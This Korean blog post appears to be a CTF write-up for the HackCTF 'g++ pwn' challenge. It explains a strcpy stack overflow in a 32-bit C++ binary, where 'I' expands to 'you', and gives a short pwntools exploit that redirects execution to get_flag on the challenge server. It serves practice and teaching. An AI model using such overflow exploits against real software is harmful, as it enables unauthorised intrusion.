[HackCTF] g++ pwn
System/PWNABLE

[HackCTF] g++ pwn

728x90

C++로 만들어진 문제..

check

- 32 bit

- NX

Analyze

pseudo code

C++ 코드로 되어 있어서 우선 익숙하지 않아 해석하는게 가장 문제다..

main()
vuln()

- s 에 0x3c (=60)byte만큼 할당하고 fgets함수를 통해 32byte만큼 읽어들인다. 이 때에는 길이 제한이 생겨 버퍼오버플로우를 일으킬 수 없다. 

- 정확히 코드들을 해석하기는 어렵지만,, 실행결과를 참고해서 보면 "I"를 입력하면 s의 내용이 저장된 input변수에 "I"를 저장하고 이를 v1에 저장하면서 you를 대신 저장하여 문자열 s에 복사하고 문자열을 출력한다. >> 입력할 때에는 32byte라는 길이제한이 있었지만 strcpy함수를 사용할 때는 길이제한을 두지 않았기 때문에 복사하면서 오버플로우 시킬 수 있다.

실행

I 를 입력했을 때 you로 대체되는 모습

- "I"를 입력했을 때 you로 대체된다. 

>> s를 이용하여 오버플로우를 시키기위해서는 BUF[60]+SFP[4] = 64byte만큼 dummy로 채워줘야하는데 처음 입력받을 때는 입력제한이 있으므로 "I"를 이용해 "you"로 대체되는 것을 이용하여 "I"*20→"you"*20 으로 60byte를 채워주고 "AAAA"등의 dummy값으로 SFP 4byte를 채워준다. RET는 get_flag()의 주소로 넘겨주면 된다!

>> 따로 libc를 leak할 필요는 없는 것 같다. (주소가 고정적이다.)

Exploit

from pwn import *

#p = process("./gpwn")
p = remote("ctf.j0n9hyun.xyz", 3011)

flag = 0x8048f0d

pl = "I"*20
pl += "BBBB"
pl += p32(flag)

p.send(pl)
p.interactive()

! 성공 !

더보기

recvuntil("~~~")을 하면 실행이 되지 않았다. 왜일까..?

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2021.02.13
[HackCTF] 1996  (0) 2021.02.13
[HackCTF] Poet  (0) 2021.02.11
[HackCTF] RTL_World  (0) 2021.02.11
[HackCTF] Yes or No  (0) 2021.02.11